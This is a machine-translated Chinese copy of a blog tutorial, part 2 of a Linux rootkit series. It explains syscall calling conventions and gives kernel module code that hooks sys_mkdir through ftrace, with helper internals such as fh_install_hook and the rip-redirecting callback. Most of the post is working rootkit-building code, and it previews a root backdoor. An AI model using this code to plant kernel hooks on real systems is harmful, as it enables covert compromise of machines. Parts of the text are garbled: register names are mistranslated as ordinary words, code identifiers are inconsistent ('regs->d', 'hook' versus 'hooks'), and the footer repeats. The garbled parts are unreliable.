Xcellerator
Linux Rootkit 第 2 部分:Ftrace 和函数挂钩
文章目录
2020-08-26 :: TheXcellerator
好的,您已经构建了第一个内核模块,但现在您想让它做一些很酷的事情 - 比如改变正在运行的内核的行为。我们这样做的方法是通过函数挂钩,但问题是 - 我们如何知道要挂钩哪些函数?
对我们来说幸运的是,已经有一个很棒的潜在目标列表:系统调用!系统调用(或系统调用)是可以从用户空间调用的内核函数,几乎任何远程有趣的事情都需要它们。您可能听说过的一些常见内容是:
- 打开
- 读
- 写
- 关闭
- 执行
- 叉
- 杀
- 目录
您可以在此处查看 x86_64 系统调用的完整列表。将我们自己的功能添加到任何这些函数中可能会非常有趣。我们可以拦截read
对某些文件的调用并返回不同的内容,或者使用execve
. 我们甚至可以使用一些废弃的信号向kill
我们的 rootkit 发送命令以采取某些操作。
但首先,更好地了解如何从用户空间进行系统调用将很有帮助 - 毕竟,我们希望拦截的就是这个过程!
Linux 中来自用户空间的系统调用
如果您查看上面的系统调用表,那么您会发现每个系统调用都有一个分配给它的关联编号(这些编号实际上相当灵活,并且会因不同体系结构和内核版本而异,但幸运的是,我们提供了用一堆宏来帮助我们摆脱麻烦)。
如果我们想要进行系统调用,那么我们必须将我们想要的系统调用号存储到寄存器中rax
,然后用软件中断调用内核syscall
。在我们使用中断之前,系统调用所需的任何参数都必须加载到某些寄存器中,并且返回值几乎总是放入rax
.
最好通过一个例子来说明这一点 - 让我们以系统调用 0 为例sys_read
(所有系统调用都以 开头sys_
)。如果我们用 查找这个系统调用man 2 read
,我们会看到它的定义为:
ssize_t read(int fd, void *buf, size_t count);
复制
fd
是文件描述符(从调用返回open()
),buf
是存储读取数据的缓冲区,count
是要读取的字节数。返回值是成功读取的字节数,-1
错误时返回。
我们看到有 3 个参数需要传递给sys_read
系统调用,但是我们如何知道将它们放入哪些寄存器呢?Linux Syscall Reference给了我们以下答案:
姓名 | 拉克斯 | rdi | 相对强弱指数 | RDX |
---|---|---|---|---|
sys_read | 0x00 | unsigned int fd | char __user *buf | size_t count |
因此,rdi
获取文件描述符,rsi
获取指向缓冲区的指针,并rdx
获取要读取的字节数。只要我们已经存储0x00
在 中rax
,那么我们就可以继续调用内核,我们的系统调用将为我们进行!NASM 的一个示例可能如下所示:
mov rax, 0x0
mov rdi, 5
mov rsi, buf
mov rdx, 10
syscall
复制
这将从文件描述符 5(随机选择)中读取 10 个字节,并将内容存储在 指向的内存位置中buf
。很简单,对吧?
内核如何处理系统调用
这对于用户空间来说一切都很好,但是对于内核呢?我们的 rootkit 将在内核上下文中运行,因此我们应该对内核如何处理系统调用有一些了解。
不幸的是,这就是事情开始有点不同的地方。在 64 位内核版本 4.17.0 及更高版本中,内核处理系统调用的方式发生了变化。首先,我们将看看旧的方法,因为它仍然适用于 Ubuntu 16.04 等发行版,并且一旦旧的方法有意义,新版本就更容易理解。
我最近才需要实现 4.17.0 以下内核版本的特殊情况。我正在做一个 CTF,发现 sudo 已被配置,这样我就可以在
insmod
没有密码的情况下以 root 身份运行。不幸的是,该盒子运行的是 Ubuntu 16.04,而我的 rootkit 被配置为使用较新的调用约定来挂钩系统调用!
如果我们查看内核中的源代码,我们会看到以下内容:sys_read
asmlinkage long sys_read(unsigned int fd, char __user *buf, size_t count);
复制
早在 2016 年,参数就按照它看起来的样子传递给系统调用。如果我们为 编写一个钩子sys_read
,我们只需要自己模仿这个函数声明(一旦我们将钩子放在适当的位置),我们就可以按照我们喜欢的方式使用这些参数。
在(64 位)内核版本 4.17.0 中,这种情况发生了变化。首先由用户存储在寄存器中的参数被复制到一个名为 的特殊结构中pt_regs
,然后这是传递给系统调用的唯一内容。然后,系统调用负责从该结构中提取所需的参数。根据ptrace.h,它具有以下形式:
struct pt_regs {
unsigned long bx;
unsigned long cx;
unsigned long dx;
unsigned long si;
unsigned long di;
/* redacted for clarity */
};
复制
这意味着,在 的情况下sys_read
,我们必须这样做:
asmlinkage long sys_read(const struct pt_regs *regs)
{
int fd = regs->di;
char __user *buf = regs->si;
size_t count = regs->d;
/* rest of function */
}
复制
当然,realsys_read
不需要这样做,因为内核已经为我们完成了这项工作。但是当我们编写钩子函数时,我们需要以这种方式处理参数。
我们的第一个系统调用钩子
完成所有这些后,让我们继续编写函数钩子!我们将考虑上面的两种方法来创建一个非常简单的挂钩,用于将sys_mkdir
正在创建的目录的名称打印到内核缓冲区。之后我们会担心实际使用这个钩子而不是真正的sys_mkdir
.
首先,我们需要检查我们正在编译的内核版本 -linux/version.h
这将帮助我们。然后我们将使用一堆预处理器宏来简化事情。
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/namei.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("mkdir syscall hook");
MODULE_VERSION("0.01");
#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
#define PTREGS_SYSCALL_STUBS 1
#endif
#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*orig_mkdir)(const struct pt_regs *);
asmlinkage int hook_mkdir(const struct pt_regs *regs)
{
char __user *pathname = (char *)regs->di;
char dir_name[NAME_MAX] = {0};
long error = strncpy_from_user(dir_name, pathname, NAME_MAX);
if (error > 0)
printk(KERN_INFO "rootkit: trying to create directory with name: %s\n", dir_name);
orig_mkdir(regs);
return 0;
}
#else
static asmlinkage long (*orig_mkdir)(const char __user *pathname, umode_t mode);
asmlinkage int hook_mkdir(const char __user *pathname, umode_t mode)
{
char dir_name[NAME_MAX] = {0};
long error = strncpy_from_user(dir_name, pathname, NAME_MAX);
if (error > 0)
printk(KERN_INFO "rootkit: trying to create directory with name %s\n", dir_name);
orig_mkdir(pathname, mode);
return 0;
}
#endif
/* init and exit functions where the hooking will happen later */
复制
好吧,这里有很多内容。首先要注意的是,我们有 2 个几乎相同的函数,由 if/else 预处理器条件分隔。检查内核版本和体系结构后,PTREGS_SYSCALL_STUBS
可能已定义,也可能未定义。如果是,那么我们定义orig_mkdir
函数指针和hook_mkdir
函数声明来使用该pt_regs
结构。否则,我们使用参数的实际名称给出完整的声明。请注意,在钩子的第一个版本(我们使用的地方pt_regs
)中,我们还必须包含以下行
char __user *pathname = (char *)regs->di;
复制
为了将路径名参数从regs
结构中取出。
另一个需要注意的重要事项是该strncpy_from_user()
函数的使用。__user
参数标识符的存在pathname
意味着它指向用户空间中的一个位置,该位置不一定映射到我们的地址空间。尝试取消引用pathname
将导致段错误或打印垃圾数据printk()
。这些场景都不是很有用。
为了克服这个问题,内核为我们提供了一系列函数,例如copy_from_user()
、strncpy_from_user()
等,以及用于copy_to_user()
将数据复制回用户空间的版本。在上面的代码片段中,我们从 pathname
、到 dir_name
复制一个字符串,并且我们将读取最多NAME_MAX
(通常是 255 - Linux 中文件名的最大长度),或者直到我们遇到空字节(这是使用strncpy_from_user()
普通的旧方法copy_from_user()
- 它是空字节感知的!)。
一旦我们获得了要存储在缓冲区中的新文件夹的名称dir_name
,我们就可以继续使用printk()
常用的%s
格式字符串将其打印到内核缓冲区。
最后,最重要的部分是我们实际orig_mkdir()
使用相应的参数进行调用。这确保了原始功能sys_mkdir
(即实际创建新文件夹)仍然保留。您可能想知道,orig_mkdir
与真实有什么关系sys_mkdir
- 我们所做的只是通过函数指针原型定义它!连接orig_mkdir
到真实sys_mkdir
是我们即将进行的函数挂钩过程的一部分。请注意,在这两种情况下,orig_mkdir
都是全局定义的。这允许挂钩/取消挂钩代码rootkit_init
并rootkit_exit
使用它。
剩下的唯一一件事就是实际将此函数连接到内核中,而不是真正的sys_mkdir
!
使用 Ftrace 进行函数挂钩
我们将使用 Ftrace 在内核中创建一个函数钩子,但您实际上并不需要确切地了解发生了什么。在实践中,我们创建一个ftrace_hook
数组,然后调用fh_install_hooks()
inrootkit_init()
和fh_uninstall_hooks()
in rootkit_exit()
。对于大多数实际用途,您只需要了解这些即可。任何 Rootkit 的真正核心都是钩子本身,这将是后面博客文章的重点。我们需要的所有功能都已打包到ftrace_helper.h
您真正调用的头文件中。
对于某些人来说,这还不够令人满意,所以我将在下一节中保留对 Ftrace 的更完整的解释。如果你不烦恼,那就不用担心。
接下来,我们需要包含ftrace_helper.h
在我们的模块源代码中,然后编写我们的 init 和 exit 函数。
但首先我们需要指定一个数组,Ftrace 将使用它来为我们处理挂钩。
static struct ftrace_hook hook[] = {
HOOK("sys_mkdir", hook_mkdir, &orig_mkdir),
};
复制
该HOOK
宏需要我们要定位的系统调用或内核函数的名称 ( sys_mkdir
)、我们编写的钩子函数 ( hook_mkdir
) 以及我们希望保存原始系统调用的地址 ( orig_mkdir
)。请注意,hook[]
对于更复杂的 rootkit,它可以包含多个函数挂钩!
一旦设置了这个数组,我们就可以用来fh_install_hooks()
安装函数钩子并fh_remove_hooks()
删除它们。我们所要做的就是将它们分别放入 init 和 exit 函数中并进行一些错误检查:
static int __init rootkit_init(void)
{
int err;
err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
if(err)
return err;
printk(KERN_INFO "rootkit: loaded\n");
return 0;
}
static void __exit rootkit_exit(void)
{
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
printk(KERN_INFO "rootkit: unloaded\n");
}
module_init(rootkit_init);
module_exit(rootkit_exit);
复制
您可以在此处下载所有 3 个所需文件- 是时候构建了!运行后make
,您应该会看到rootkit.ko
您的目录中的内容。将其加载到内核中并使用 .# insmod rootkit.ko
创建一个新文件夹mkdir
。如果检查 的输出dmesg
,您应该看到类似以下内容:
$ sudo dmesg -C
$ sudo insmod rootkit.ko
$ mkdir lol
$ dmesg
[ 3271.730008] rootkit: loaded
[ 3276.335671] rootkit: trying to create directory with name: lol
我们已经成功挂钩了sys_mkdir
系统调用!Ftrace 负责确保orig_mkdir
指向原始版本sys_mkdir
,以便我们可以从钩子中调用它,而不必担心底层细节!
对于未来的新手,我们需要做的就是为我们的目标函数编写一个新的钩子,并hooks[]
使用详细信息更新数组。
值得指出的是,我们只能挂钩内核*公开的函数。*您可以通过查看来查看公开对象的列表
/proc/kallsyms
(需要 root,否则所有内存地址都是0x0
)。显然,所有系统调用都需要公开,以便用户空间可以访问它们,但还有其他感兴趣的函数不是系统调用(但仍然公开),我们稍后会再讨论。
的详细信息ftrace_helper.h
那么,您想更好地了解ftrace在我们的 rootkit 中做什么,对吗?粗略地说,ftrace 的功能之一是它允许我们将回调附加到内核的一部分。rip
具体来说,只要寄存器包含某个内存地址,我们就可以告诉 ftrace 介入。如果我们将此地址设置为sys_mkdir
(或任何其他函数)的地址,那么我们可以导致执行另一个函数。
ftrace 实现此目的所需的所有信息都必须打包到名为 的结构中ftrace_hook
。因为我们希望允许多个钩子,所以我们使用数组hooks[]
:
static struct ftrace_hook hooks[] = {
HOOK("sys_mkdir", hook_mkdir, &orig_mkdir),
};
复制
这里有一些东西需要解压。首先,让我们看一下ftrace_hook
中的结构体ftrace_helper.h
:
struct ftrace_hook {
const char *name;
void *function;
void *original;
unsigned long address;
struct ftrace_ops ops;
};
复制
为了使填充这个结构更快更简单,我们有宏HOOK
:
#define HOOK(_name, _hook, _orig) \
{ \
.name = SYSCALL_NAME(_name), \
.function = (_hook), \
.original = (_orig), \
}
复制
该
SYSCALL_NAME
宏负责处理以下事实:在 64 位内核上,系统调用已__x64_
添加到其名称前面。
这是最简单的部分。现在,我们需要看看函数fh_install_hooks()
,这是完成工作的真正内容的地方。事实上,这是一个谎言;fh_install_hooks()
只是循环遍历hooks[]
数组并调用fh_install_hook()
每个元素。这是我们需要集中注意力的地方。
首先发生的事情是我们调用fh_resolve_hook_address()
该ftrace_hook
对象。该函数仅使用kallsyms_lookup_name()
(由 提供)来查找真实<linux/kallsyms.h>
系统调用在内存中的地址,即在我们的例子中。这很重要,因为我们需要保存它,以便我们可以将其分配给它,并且可以在卸载模块时恢复所有内容。我们将该地址保存到结构体的字段中。sys_mkdir``orig_mkdir()``.address``ftrace_hook
接下来是一个看起来有点奇怪的预处理器语句:
#if USE_FENTRY_OFFSET
*((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE;
#else
*((unsigned long*) hook->original) = hook->address;
#endif
复制
为了理解这一点,当我们尝试挂钩函数时,我们需要考虑递归循环的危险。有两种主要方法可以避免这种情况;我们可以尝试通过查看函数返回地址来检测递归,或者我们可以跳过 ftrace 调用(上面+ MCOUNT_INSN_SIZE
)。要在方法之间切换,我们有USE_FENTRY_OFFSET
. 如果它设置为 0,我们使用第一个选项,否则我们使用第二个选项。
我们使用第一个选项,这意味着我们必须禁用 ftrace 提供的保护。这种内置保护依赖于在 中保存返回寄存器rip
,但如果我们想使用rip
,我们就不能冒破坏它的风险。最终我们不得不实施我们自己的保护措施。所有这一切都归结为结构.original
中的字段ftrace_hook
被设置为 中命名的系统调用的内存地址.name
。
接下来是在- 中fh_install_hook()
设置字段,它本身就是一个带有几个字段的结构。.ops``ftrace_hook
hook->ops.func = fh_ftrace_thunk;
hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
| FTRACE_OPS_FL_RECURSION_SAFE
| FTRACE_OPS_FL_IPMODIFY;
复制
如上所述,rip
可能会被修改,因此我们必须通过设置FTRACE_OPS_FL_IP_MODIFY
. 为了设置这个标志,我们还必须设置将原始系统调用的结构FTRACE_OPS_FL_SAVE_REGS
传递给我们的钩子的标志。pt_regs
最后,我们还需要关闭ftrace的内置递归保护,这就是FTRACE_OPS_FL_RECURSION_SAFE
该标志的原因(默认情况下该标志处于打开状态,因此或返回可有效将其关闭)。
显然,如果 ftrace 的保护依赖于将返回地址保存在 中
rip
,并且我们刚刚告诉 ftrace 我们将要修改rip
,那么它的保护对我们没有好处!
设置这些标志时我们要做的另一件事是将ops.func
子字段设置为fh_trace_thunk
- 这是我们之前提到的回调。看看这个函数,我们发现它真正做的就是将寄存器设置rip
为指向hook->function
。剩下的就是确保每当rip
包含 的地址时都会执行此回调sys_mkdir
。
这正是最后两个函数的作用!
err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
if(err)
{
printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
return err;
}
err = register_ftrace_function(&hook->ops);
if(err)
{
printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err);
return err;
}
复制
ftrace_set_filter_ip()``rip
告诉 ftrace 仅在 的地址(之前sys_mkdir
已保存)时执行我们的回调。hook->address
最后,我们通过调用 来启动整个事情register_ftrace_function()
。至此,函数hook就到位了!
正如您可能想象的那样,当我们卸载模块并被rootkit_exit()
调用时,fh_remove_hooks()
所有这些都会反向执行。
您现在可以明白为什么不需要真正 100% 理解所有这些才能编写系统调用挂钩。真正的挑战是编写钩子函数本身 - 并且一路上仍然会遇到很多问题!
阅读其他帖子
←Linux Rootkit 第 3 部分:Root 后门即将推出!→
哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题
该网站是闹鬼网络的一部分
在可以明白为什么不需要真正 100% 理解所有这些才能编写系统调用挂钩。真正的挑战是编写钩子函数本身 - 并且一路上仍然会遇到很多问题!
阅读其他帖子
←Linux Rootkit 第 3 部分:Root 后门即将推出!→
哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题
该网站是闹鬼网络的一部分